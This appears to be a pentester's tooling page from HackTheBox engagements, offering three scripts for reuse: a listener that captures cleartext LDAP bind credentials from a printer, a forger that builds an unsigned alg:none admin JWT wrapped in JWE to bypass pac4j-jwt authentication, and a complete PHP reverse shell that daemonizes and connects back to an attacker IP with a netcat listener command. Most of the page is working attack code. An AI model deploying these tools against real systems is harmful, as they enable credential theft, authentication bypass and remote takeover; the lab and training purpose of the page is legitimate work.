This page collects the custom tooling I've authored and reached for during these engagements. Everything here is written for offensive use against systems I'm authorized to test — usually retired HTB boxes.
LDAP Capture
A 20-line TCP listener used on the Return machine to intercept the cleartext bind packet sent by a network printer's LDAP-update routine. The printer was configured without LDAP signing or LDAPS, so a raw socket read recovers the bind credentials directly.
See it in action on the Return walkthrough →
| ldap_capture.py |
|---|
| #!/usr/bin/env python3
"""
Minimal LDAP bind capture listener.
Listens on port 389 and dumps the first packet received.
Use when a target appliance lets you reconfigure its LDAP server address.
"""
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 389))
s.listen(1)
print('[*] Listening on port 389...')
conn, addr = s.accept()
print(f'[+] Connection from {addr}')
data = conn.recv(4096)
print('[+] Received data:')
print(data)
print('\n[+] Hex dump:')
print(data.hex())
conn.close()
|
Usage:
sudo python3 ldap_capture.py
Then trigger the target to attempt a bind to your IP on port 389. The cleartext username and password appear inline in the received bytes.
JWE/JWT alg:none Bypass Forger
A token-forgery helper for double-wrapped JWE-of-JWT authentication setups where the inner token's alg is not verified. Used against pac4j-jwt configurations vulnerable to the alg:none confusion flaw.
| exploit.py |
|---|
| from jwcrypto import jwt, jwk
from jwcrypto.common import json_encode
import base64
def b64url_encode_nopad(data: bytes) -> str:
return base64.urlsafe_b64encode(data).decode('utf-8').rstrip('=')
# 1. Load the server's public key (extracted from the JWKS endpoint)
public_key_json = {
"kty": "RSA",
"n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5...",
"e": "AQAB"
}
key = jwk.JWK(**public_key_json)
# 2. Build the INNER 'plain' JWT with alg:none
header = {"alg": "none"}
payload = {
"sub": "admin",
"role": "ADMIN",
"iat": 1710446100,
"exp": 1910446100,
}
encoded_header = b64url_encode_nopad(json_encode(header).encode())
encoded_payload = b64url_encode_nopad(json_encode(payload).encode())
plain_jwt = f"{encoded_header}.{encoded_payload}."
# 3. Wrap it in an OUTER JWE so the server decrypts before validating
outer = jwt.JWT(
header={"alg": "RSA-OAEP", "enc": "A128CBC-HS256"},
claims=plain_jwt,
)
outer.make_encrypted_token(key)
print(f"Authorization: Bearer {outer.serialize()}")
|
The bug: Some JWE-wrapping JWT libraries decrypt the inner token but then trust its alg:none claim, accepting an unsigned admin-role token. Forging one is a matter of building it correctly and re-encrypting against the server's public key.
PHP Reverse Shell Template
A reliable PHP reverse shell that handles pcntl_fork daemonization and uses non-blocking stream_select instead of polling. Used on multiple Linux boxes where a .php upload was achievable.
| shell.php |
|---|
| <?php
set_time_limit(0);
$ip = '10.10.14.10'; // change to your tun0 IP
$port = 4444; // change to your listener port
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) { exit(1); }
if ($pid) { exit(0); }
if (posix_setsid() == -1) { exit(1); }
}
chdir("/");
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) { exit(1); }
$descriptorspec = [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => ["pipe", "w"],
];
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) { exit(1); }
foreach ([$pipes[0], $pipes[1], $pipes[2], $sock] as $h) {
stream_set_blocking($h, 0);
}
while (!feof($sock) && !feof($pipes[1])) {
$read = [$sock, $pipes[1], $pipes[2]];
stream_select($read, $w, $e, null);
if (in_array($sock, $read)) { fwrite($pipes[0], fread($sock, $chunk_size)); }
if (in_array($pipes[1], $read)) { fwrite($sock, fread($pipes[1], $chunk_size)); }
if (in_array($pipes[2], $read)) { fwrite($sock, fread($pipes[2], $chunk_size)); }
}
fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]);
proc_close($process);
|
Catching the shell: rlwrap -cAr nc -lvnp 4444 on the attacker box.
Why publish these?
Tooling that gets reused across engagements deserves a public, version-controlled home. Publishing them also makes them verifiable — anyone reading a writeup can click through and confirm the technique is real, not invented.